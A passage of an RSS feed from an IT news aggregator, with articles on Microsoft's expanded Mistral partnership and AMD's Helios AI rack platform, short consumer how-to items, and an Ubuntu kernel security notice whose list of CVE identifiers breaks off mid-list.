<p class="wp-block-paragraph">“As much as Microsoft would want everybody standardizing on Copilot and Phi, it recognizes the simple fact that customers increasingly want to choose their own models,” said Levy.</p>



<h2 class="wp-block-heading">Expands model access, sovereign cloud capabilities</h2>



<p class="wp-block-paragraph">As part of the agreement, Mistral will expand its Europe-based capacity with thousands of Nvidia Vera Rubin GPUs.</p>



<p class="wp-block-paragraph">Mistral CEO and co-founder <a href="https://www.computerworld.com/article/4134107/mistral-ceo-over-half-of-companies-software-can-be-replaced-by-ai.html" target="_blank">Arthur Mensch</a> described a “slight gap” in compute capacity in Europe, noting that this expansion will provide more compute capability and support Microsoft’s cloud and AI services, providing a “shared platform for training, inference and large-scale deployment.” The companies call it a critical step to allow Microsoft customers to benefit from Mistral’s “scientific and compute innovations.”</p>



<p class="wp-block-paragraph">In addition, Mistral Medium 3.5 and OCR 4 models are now available in Microsoft Foundry, and Mistral Medium 3.5 can be used in Microsoft Copilot Studio.</p>



<p class="wp-block-paragraph">The partnership also extends Microsoft’s sovereign cloud infrastructure as well as combining Mistral’s frontier models with Microsoft’s security, compliance, and cloud-to-edge platform. This gives enterprises, particularly those in regulated markets, the ability to deploy AI where they see fit, while maintaining control over their data and workloads, according to the companies.</p>



<p class="wp-block-paragraph">Further, customers will be able to build AI using the same models, tools, APIs, and workflows they’re used to, across Microsoft Foundry, Foundry Local, and <a href="https://www.infoworld.com/article/4108044/whats-next-for-azure-infrastructure.html" target="_blank">Azure Local</a>, and opt for fully Azure-hosted cloud environments; cloud-connected, controlled Azure Local environments that only use cloud-based Azure when necessary; and fully-disconnected environments that can operate independently for more sensitive scenarios.</p>



<p class="wp-block-paragraph">“Europe should have access to the world’s most capable AI without compromising control over their data, operations or digital future,” said <a href="https://www.linkedin.com/in/bradsmi" target="_blank" rel="noreferrer noopener">Brad Smith</a>, vice chair and president, Microsoft, noting that with this partnership, the company is honoring its <a href="https://blogs.microsoft.com/on-the-issues/2025/04/30/european-digital-commitments/" target="_blank" rel="noreferrer noopener">European digital commitments</a> and giving customers a foundation for AI so they can “operate on their own terms.” Customers with “heightened sovereignty needs” will be able to exercise more control with “resilience and assurance” and continued access to Mistral’s open-weight models.</p>



<h2 class="wp-block-heading">Enterprise credibility</h2>



<p class="wp-block-paragraph">Gartner distinguished VP analyst <a href="https://www.gartner.com/en/experts/arun-chandrasekaran" target="_blank" rel="noreferrer noopener">Arun Chandrasekaran</a> noted that there’s no doubt that this agreement strengthens Microsoft’s sovereignty messaging and its position in regulated industries, and the tech giant benefits by expanding its AI portfolio with a “credible European frontier model provider”</p>



<p class="wp-block-paragraph">He pointed to key differences from the initial partnership struck by the two companies in 2024; whereas originally Microsoft was hosting Mistral’s models, it is now consuming capacity built by Mistral in Europe.</p>



<p class="wp-block-paragraph">Ultimately, the deal emphasizes European data centers, customer-controlled deployments, Azure Local, and fully-disconnected environments, addressing many of the concerns that surrounded the original Azure cloud only relationship, Chandrasekaran explained.</p>



<p class="wp-block-paragraph">For Mistral, the partnership provides “enterprise credibility, and repeatable infrastructure revenue” that can fund continued <a href="https://www.cio.com/article/4198030/7-issues-impacting-ai-strategies-and-how-cios-should-respond.html" target="_blank">AI platform development</a>, he said. The combination of Microsoft’s enterprise AI platform with Mistral’s models and European AI infrastructure will give joint customers more deployment flexibility and expand options around data residency, sovereign AI deployments, and disconnected/on-premises environments.</p>



<p class="wp-block-paragraph">“It also gives customers more model choice, reducing dependence on a single AI provider,” said Chandrasekaran.</p>



<h2 class="wp-block-heading">A complementary partnership</h2>



<p class="wp-block-paragraph">Mistral continues to innovate with its frontier AI models and its chat and coding agent, Vibe (formerly Le Chat), yet it doesn’t attract as much attention as Claude or ChatGPT.</p>



<p class="wp-block-paragraph">One of the company’s key differentiators is its targeted business model. Levy pointed out that not every workload requires “full-flight GPT.” For customers trying to rein in costs and limit exposure with on-premises deployments, Mistral’s “more focused capabilities can represent a cost-effective alternative.”</p>



<p class="wp-block-paragraph">Chandrasekaran pointed to Mistral’s combination of high-performance open-weight models, strong multilingual capabilities, and a “focus on efficient inference that lowers deployment costs.”</p>



<p class="wp-block-paragraph">Unlike many frontier AI companies, it offers customers greater flexibility to self-host and customize models; this makes it particularly attractive for enterprises and governments with sovereignty or regulatory requirements, he said. Its European roots also position it as the leading alternative for organizations seeking cutting-edge AI outside the US and Chinese ecosystems.</p>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/bill-wong" target="_blank" rel="noreferrer noopener">Bill Wong</a>, research fellow at Info-Tech Research Group, also pointed to Mistral’s high-quality models and “adeptness as a sovereign AI leader.” There is growing demand for AI companies that comply with regional laws and data residency, and Mistral is established as “one of the most prominent European players.”</p>



<p class="wp-block-paragraph">“Such a strategic position makes it a great partner for Microsoft to further expand its AI offerings beyond just being a single-model provider,” he said. Customers get freedom of choice while complying with data sovereignty and regulatory limitations without having to execute a separate AI deployment, while Mistral, for its part, can go beyond Europe and gain more visibility with international businesses.</p>



<p class="wp-block-paragraph">Mistral brings both “technological and political advantages,” Levy noted. The startup’s European roots give Microsoft more credibility “at a fraught time for geopolitical relationships.” Customers in Europe and beyond are concerned about US exposure, and Mistral can provide a safer choice.</p>



<p class="wp-block-paragraph">Meanwhile, Microsoft can deploy European-developed AI models running on European infrastructure, thus maximizing regulatory compliance while offering next-level enterprise marketing scale that Mistral “simply couldn’t achieve on its own,” said Levy. Mistral-based workloads deployed on Azure will also benefit from Microsoft’s “comprehensive security certifications, governance frameworks, and monitoring.”</p>



<p class="wp-block-paragraph">Bottom line: Both companies can maximize their unique roadmaps through the partnership, he said. “As the rules of the AI economy continue to evolve, expect more eyebrow-raising deals like this to be signed.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AMD Takes On Nvidia With Helios AI Platform as Microsoft Signs On]]></title>
<description><![CDATA[Microsoft is bringing AMD’s Helios AI platform to Azure, giving AMD a major customer as it tries to challenge Nvidia’s data center dominance.]]></description>
<link>https://tsecurity.de/de/3684580/it-nachrichten/amd-takes-on-nvidia-with-helios-ai-platform-as-microsoft-signs-on/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684580/it-nachrichten/amd-takes-on-nvidia-with-helios-ai-platform-as-microsoft-signs-on/</guid>
<pubDate>Tue, 21 Jul 2026 20:03:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft is bringing AMD’s Helios AI platform to Azure, giving AMD a major customer as it tries to challenge Nvidia’s data center dominance.]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Cancel Netflix Subscription Easily]]></title>
<description><![CDATA[Have you become busy and do not have enough time to watch Netflix? Do you prefer spending time with your friends and family instead of binge watching on Netflix? If yes, it’s high time you cancel your Netflix subscription. Knowing how to cancel Netflix properly ensures you avoid unexpected charge...]]></description>
<link>https://tsecurity.de/de/3684577/betriebssysteme/how-to-cancel-netflix-subscription-easily/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684577/betriebssysteme/how-to-cancel-netflix-subscription-easily/</guid>
<pubDate>Tue, 21 Jul 2026 20:03:26 +0200</pubDate>
<category>🖥️  Betriebssysteme</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Have you become busy and do not have enough time to watch Netflix? Do you prefer spending time with your friends and family instead of binge watching on Netflix? If yes, it’s high time you cancel your Netflix subscription. Knowing how to cancel Netflix properly ensures you avoid unexpected charges and can reactivate your account […]</p>
<p>The post <a rel="nofollow" href="https://www.addictivetips.com/media-streaming/how-to-cancel-netflix/">How to Cancel Netflix Subscription Easily</a> appeared first on <a rel="nofollow" href="https://www.addictivetips.com/">AddictiveTips</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[What Version of Windows Do I Have? 3 Ways to Check]]></title>
<description><![CDATA[Ever wondered exactly which version of Windows is running on your computer? Knowing how to check your Windows version is crucial for troubleshooting, software compatibility, and ensuring you have the latest security updates. This article provides a simple guide on how to check what version of Win...]]></description>
<link>https://tsecurity.de/de/3684574/betriebssysteme/what-version-of-windows-do-i-have-3-ways-to-check/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684574/betriebssysteme/what-version-of-windows-do-i-have-3-ways-to-check/</guid>
<pubDate>Tue, 21 Jul 2026 20:03:22 +0200</pubDate>
<category>🖥️  Betriebssysteme</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Ever wondered exactly which version of Windows is running on your computer? Knowing how to check your Windows version is crucial for troubleshooting, software compatibility, and ensuring you have the latest security updates. This article provides a simple guide on how to check what version of Windows you have, so you can stay informed and […]</p>
<p>The post <a rel="nofollow" href="https://www.addictivetips.com/windows-tips/what-version-of-windows-do-i-have/">What Version of Windows Do I Have? 3 Ways to Check</a> appeared first on <a rel="nofollow" href="https://www.addictivetips.com/">AddictiveTips</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Azure Copilot für IT-Operations: Vom Admin zum Agenten - entwickler.de]]></title>
<description><![CDATA[Künstliche Intelligenz spielt dabei zunehmend eine praktische Rolle: Sie hilft, Effizienz zu steigern, Sicherheitsrisiken früher zu erkennen und ...]]></description>
<link>https://tsecurity.de/de/3684253/it-security-nachrichten/azure-copilot-fuer-it-operations-vom-admin-zum-agenten-entwicklerde/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684253/it-security-nachrichten/azure-copilot-fuer-it-operations-vom-admin-zum-agenten-entwicklerde/</guid>
<pubDate>Tue, 21 Jul 2026 17:57:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Künstliche Intelligenz spielt dabei zunehmend eine praktische Rolle: Sie hilft, Effizienz zu steigern, Sicherheitsrisiken früher zu erkennen und ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Helios marks AMD’s biggest AI infrastructure push yet]]></title>
<description><![CDATA[AMD has expanded its AI infrastructure portfolio with the launch of Helios, an open, rackscale AI infrastructure designed for frontier AI and sovereign computing. Helios is built around AMD’s next-generation Instinct GPUs, EPYC Venice processors, Pensando networking and the ROCm software stack.

...]]></description>
<link>https://tsecurity.de/de/3683516/it-security-nachrichten/helios-marks-amds-biggest-ai-infrastructure-push-yet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683516/it-security-nachrichten/helios-marks-amds-biggest-ai-infrastructure-push-yet/</guid>
<pubDate>Tue, 21 Jul 2026 13:21:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AMD has expanded its AI infrastructure portfolio with the launch of Helios, an open, rackscale AI infrastructure designed for frontier AI and sovereign computing. Helios is built around AMD’s next-generation Instinct GPUs, EPYC Venice processors, Pensando networking and the ROCm software stack.</p>



<p class="wp-block-paragraph">“Helios is AMD’s first complete AI rack system with GPUs, CPUs, and networking built together, instead of selling separate chips. It is well suited for training large AI models, memory heavy models, long context processing and high volume inference, and AMD’s biggest shot yet at challenging Nvidia’s dominance,” said Pareekh Jain, CEO at EIIRTrend &amp; Pareekh Consulting.</p>



<p class="wp-block-paragraph">AMD has also secured an early hyperscale deployment for Helios with <a href="https://newsroom.amd.com/news/microsoft-azure-ai-infrastructure/" target="_blank" rel="noreferrer noopener">Microsoft</a> agreeing to deploy it to power its frontier model AI inference, its AI customers, and support Azure AI services.</p>



<h2 class="wp-block-heading">The architecture behind Helios</h2>



<p class="wp-block-paragraph">The launch of Helios marks AMD’s latest attempt to strengthen its position in a market where Nvidia continues to dominate AI infrastructure. Unlike previous AMD AI offerings centred on individual accelerators, Helios is designed as a complete rack-scale system integrating compute, networking and software.</p>



<p class="wp-block-paragraph">According to Jain, Helios goes up against Nvidia’s <a href="https://www.networkworld.com/article/4188058/nvidia-unveils-vera-rubin-platform-targeting-ai-hpc-infrastructure-customers.html?utm=hybrid_search">Vera Rubin</a> rack. “Nvidia is faster on raw inference speed and has a faster internal connection between chips whereas AMD wins on memory size and offers better value for the price and power used. It’s standout feature is memory, where each rack packs about 50% more total memory than Nvidia’s competing system, which helps run very large AI models. It also uses open, industry-standard connections instead of Nvidia’s private technology, giving buyers more flexibility,” he said.</p>



<p class="wp-block-paragraph">The AMD Helios rackscale design includes 72 AMD Instinct MI455X GPUs with AMD EPYC Venice CPUs and AMD Pensando Vulcano networking using UALink, optimized for compute, data movement, and system efficiency. The platform also supports both OCP and MX data types, delivering up to 2.9 EFLOPS of FP4 and 1.4 EFLOPS of FP8 compute for AI training and inference. </p>



<p class="wp-block-paragraph">It also integrates 31TB of HBM4 memory with 19.6TB/s of memory bandwidth, while a liquid-cooling design uses quick-disconnect connections to efficiently dissipate heat. It is designed on open standards including OCP Open Rack Wide (ORW), <a href="https://www.networkworld.com/article/4155357/new-v2-ualink-specification-aims-to-catch-up-to-nvlink.html?utm=hybrid_search">Ultra Accelerator Link (UALink)</a>, and <a href="https://www.networkworld.com/article/4006285/ultra-ethernet-consortium-publishes-1-0-specification-readies-ethernet-for-hpc-ai.html?utm=hybrid_search">Ultra Ethernet Consortium (UEC)</a> and can be scaled efficiently across datacenters while optimizing power, cooling, and serviceability for modern AI infrastructure, <a href="https://www.amd.com/en/products/rackscale-solutions/helios.html" target="_blank" rel="noreferrer noopener">said</a> the company.</p>



<p class="wp-block-paragraph">On the security front, Helios incorporates a hardware root of trust and continuous attestation at every layer. It supports hardware-enforced isolation, encrypted memory and interconnects to help protect AI models, data and workloads in multi-tenant environments.</p>



<h2 class="wp-block-heading">The software challenge</h2>



<p class="wp-block-paragraph">While the launch of Helios might help AMD close the hardware gap with Nvidia’s rack-scale systems, it will be the software compatibility that will be the real driver of enterprise adoption.</p>



<p class="wp-block-paragraph">For this, AMD is expanding its ROCm AI software platform too, which supports frameworks including PyTorch, TensorFlow, and JAX, for enabling high-throughput inference and efficient distributed training while preserving familiar developer workflows.</p>



<p class="wp-block-paragraph">Jain stated While hardware parity or superiority in memory bandwidth is achievable, software maturity remains the key differentiator for Nvidia. The Nvidia’s <a href="https://www.networkworld.com/article/4079693/quantum-circuits-brings-dual-rail-qubits-to-nvidias-cuda-q-development-platform.html?utm=hybrid_search">CUDA</a> software has a 15-20 year head start, and almost every AI tool, tutorial, and codebase defaults to it.</p>



<p class="wp-block-paragraph">He added software has been AMD’s weak spot. AMD has improved  ROCm a lot but it still lags behind on the newest, most specialized optimizations, and setup is more complicated. For everyday AI work, ROCm is usable but for cutting-edge performance, CUDA still leads.</p>



<h2 class="wp-block-heading">Evaluating the trade-offs</h2>



<p class="wp-block-paragraph">For CIOs evaluating AI infrastructure, Helios launch brings in another option to a market that has largely revolved around Nvidia’s dominance. But when considering Helios, CIOs will have to evaluate factors such as performance, software readiness, deployment models, procurement timelines and total cost of ownership before committing to a platform.</p>



<p class="wp-block-paragraph">While AMD has not publicly announced a specific price tag for the Helios, Jain believes it to be noticeably cheaper to buy and run with lower chip prices and lower power use per GPU.</p>



<p class="wp-block-paragraph">“It gives companies a real second option besides Nvidia, easing supply shortages and giving leverage in negotiations. The catch is software, where teams need to check whether their AI tools run well on AMD’s stack, since some advanced tools are still CUDA only,” Jain said. </p>



<p class="wp-block-paragraph">For CIOs planning to deploy both, Jain warns the two systems can’t be plugged together into one combined machine as they use different, incompatible connection technology. But companies can and do run both side by side in the same data center, just as separate systems handling different jobs.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8576-1: Linux kernel (NVIDIA Tegra) vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3683452/unix-server/usn-8576-1-linux-kernel-nvidia-tegra-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683452/unix-server/usn-8576-1-linux-kernel-nvidia-tegra-vulnerabilities/</guid>
<pubDate>Tue, 21 Jul 2026 13:01:12 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71235, CVE-2025-71236,
CVE-2025-71237, CVE-2025-71238, CVE-2025-71239, CVE-2025-71265,
CVE-2025-71266, CVE-2025-71267, CVE-2025-71274, CVE-2025-71287,
CVE-2025-71292, CVE-2025-71304, CVE-2026-23031, CVE-2026-23066,
CVE-2026-23100, CVE-2026-23113, CVE-2026-23141, CVE-2026-23157,
CVE-2026-23169, CVE-2026-23204, CVE-2026-23220, CVE-2026-23221,
CVE-2026-23222, CVE-2026-23227, CVE-2026-23228, CVE-2026-23229,
CVE-2026-23234, CVE-2026-23235, CVE-2026-23236, CVE-2026-23237,
CVE-2026-23238, CVE-2026-23241, CVE-2026-23242, CVE-2026-23243,
CVE-2026-23253, CVE-2026-23266, CVE-2026-23270, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23286, CVE-2026-23289,
CVE-2026-23290, CVE-2026-23291, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23303, CVE-2026-23304,
CVE-2026-23307, CVE-2026-23312, CVE-2026-23318, CVE-2026-23324,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23352, CVE-2026-23356, CVE-2026-23357, CVE-2026-23359,
CVE-2026-23362, CVE-2026-23365, CVE-2026-23367, CVE-2026-23368,
CVE-2026-23370, CVE-2026-23372, CVE-2026-23379, CVE-2026-23381,
CVE-2026-23382, CVE-2026-23388, CVE-2026-23391, CVE-2026-23392,
CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398,
CVE-2026-23399, CVE-2026-23401, CVE-2026-23420, CVE-2026-23434,
CVE-2026-23438, CVE-2026-23439, CVE-2026-23442, CVE-2026-23444,
CVE-2026-23446, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23462,
CVE-2026-23463, CVE-2026-23474, CVE-2026-31393, CVE-2026-31396,
CVE-2026-31399, CVE-2026-31400, CVE-2026-31405, CVE-2026-31407,
CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31415,
CVE-2026-31416, CVE-2026-31417, CVE-2026-31421, CVE-2026-31422,
CVE-2026-31423, CVE-2026-31424, CVE-2026-31425, CVE-2026-31427,
CVE-2026-31428, CVE-2026-31433, CVE-2026-31446, CVE-2026-31447,
CVE-2026-31450, CVE-2026-31452, CVE-2026-31454, CVE-2026-31455,
CVE-2026-31464, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469,
CVE-2026-31473, CVE-2026-31476, CVE-2026-31480, CVE-2026-31483,
CVE-2026-31485, CVE-2026-31489, CVE-2026-31494, CVE-2026-31495,
CVE-2026-31497, CVE-2026-31498, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31518, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31532, CVE-2026-31540, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31549, CVE-2026-31550, CVE-2026-31551,
CVE-2026-31552, CVE-2026-31555, CVE-2026-31565, CVE-2026-31570,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31583, CVE-2026-31585, CVE-2026-31586,
CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31605, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622,
CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626,
CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31630,
CVE-2026-31634, CVE-2026-31642, CVE-2026-31651, CVE-2026-31656,
CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31670,
CVE-2026-31671, CVE-2026-31672, CVE-2026-31673, CVE-2026-31674,
CVE-2026-31676, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31687,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31701, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31747, CVE-2026-31748,
CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754,
CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759,
CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31770,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31780, CVE-2026-31781,
CVE-2026-31788, CVE-2026-43014, CVE-2026-43015, CVE-2026-43020,
CVE-2026-43024, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028,
CVE-2026-43030, CVE-2026-43032, CVE-2026-43035, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054,
CVE-2026-43058, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43085, CVE-2026-43089, CVE-2026-43093,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112,
CVE-2026-43113, CVE-2026-43123, CVE-2026-43124, CVE-2026-43130,
CVE-2026-43132, CVE-2026-43133, CVE-2026-43134, CVE-2026-43135,
CVE-2026-43136, CVE-2026-43139, CVE-2026-43140, CVE-2026-43141,
CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149,
CVE-2026-43152, CVE-2026-43156, CVE-2026-43158, CVE-2026-43159,
CVE-2026-43163, CVE-2026-43168, CVE-2026-43171, CVE-2026-43180,
CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43187,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43202,
CVE-2026-43203, CVE-2026-43205, CVE-2026-43206, CVE-2026-43207,
CVE-2026-43209, CVE-2026-43211, CVE-2026-43218, CVE-2026-43223,
CVE-2026-43225, CVE-2026-43226, CVE-2026-43227, CVE-2026-43230,
CVE-2026-43231, CVE-2026-43232, CVE-2026-43233, CVE-2026-43236,
CVE-2026-43241, CVE-2026-43242, CVE-2026-43246, CVE-2026-43251,
